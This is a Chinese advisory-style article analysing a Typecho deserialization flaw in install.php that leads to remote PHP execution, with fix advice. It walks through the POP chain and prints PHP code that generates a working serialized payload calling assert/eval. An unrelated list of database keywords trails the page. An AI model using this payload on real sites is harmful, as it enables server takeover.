千家信息网

typecho前台GETSHELL分析预警的案例

发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日,这篇文章主要介绍了typecho前台GETSHELL分析预警的案例,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。0x01 漏洞描述in
千家信息网最后更新 2025年02月23日typecho前台GETSHELL分析预警的案例

这篇文章主要介绍了typecho前台GETSHELL分析预警的案例,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

0x01 漏洞描述


install.php一处if`判断里直接处理了用户传入的序列化字符串,以及可以在现有框架中寻找到一条完整的pop执行链导致任意php命令执行。

0x02 漏洞攻击面影响


影响面

几乎市面上的未及时更新的所有typecho都受到该漏洞影响。

影响版本

gitcommit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5

之前的几乎所有版本

修复版本

gitcommite277141c974cd740702c5ce73f7e9f382c18d84e

以后的commit

0x03 修复方案


漏洞代码


这里可以预想,应该不会有显然在__constract()中写出危险操作的开发吧

所以把思路转向字符串拼接的时候

寻找下__toString()

其实只有三个class有这个__toString()

var/Typecho/Feed.php

var/Typecho/Config.php

var/Typecho/Db/Query.php

这里面大致出现了如下几种调用

php

$item['xxx']

$item['xxx']->$yyyy

$this->

从这个点可以有些新的思考

因为是反序列化,对象中的属性也是我们可以控制的,那么现在去找找__get()方法

php

class Typecho_Config implements Iterator

class IXR_Client

class Typecho_Plugin

class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do

class Typecho_Date

class Typecho_Request

abstract class Typecho_Widget

class Typecho_Widget_Helper_Layout

有这么些个函数是带有__get()方法的

有这么一处完整不经过变化处理的

然后直接由call_user_func执行构造好的指定代码

0x04 攻击利用分析


Playload生成

php

class Typecho_Request

{

private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');

private $_filter = array('assert');

}

$payload1 = new Typecho_Request();

class Typecho_Feed

{

private $_type = 'RSS 2.0';

private $_items;

public function __construct($x1)

{

$this->_items[] = array('author'=>$x1);

}

}

$payload2 = new Typecho_Feed($payload1);

$exp['adapter'] = $payload2;

$exp['prefix'] = 'c1tas';

echo base64_encode(serialize($exp));

0x05 漏洞利用验证


验证截图

0x06 修复建议


1. 及时同步官方分支

2. 注释掉install.php相关代码

感谢你能够认真阅读完这篇文章,希望小编分享的"typecho前台GETSHELL分析预警的案例"这篇文章对大家有帮助,同时也希望大家多多支持,关注行业资讯频道,更多相关知识等着你来学习!

漏洞 篇文章 影响 分析 代码 版本 前台 案例 预警 字符 字符串 序列 方法 处理 攻击 验证 危险 三个 价值 兴趣 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 16亿数据库说名 盐城网络安全准入控制系统报价 两个不同数据库之间查询更新 什么报错会导致服务器数据库丢失 在服务器车没电了怎么办 久天网络技术有限公司 自己能搭建极路由服务器吗 web调用数据库时间失败 零代码软件用什么软件开发 服务器显卡和主板接口一样吗 数据库面试经验分析 媒体缓存数据库 如何排查java服务器内存 浪潮服务器按f几进去安全模式 安徽网络技术及信息安全工程师 服务器养鸡管理系统 速达运行软件服务器怎样进入 军队网络安全与信息化建设 电脑桌面版数据库 放心的微信软件开发项目 oracle数据库连非常慢 镇江网络安全资质申请流程 数据库数据落盘 徐州网络安全审计系统咨询辅导 国内服务器租赁 服务器 amp 高青染整管理软件开发公司 上海学习软件开发公司哪个好 关系数据库中不具有的性质 域服务器查看本地用户
0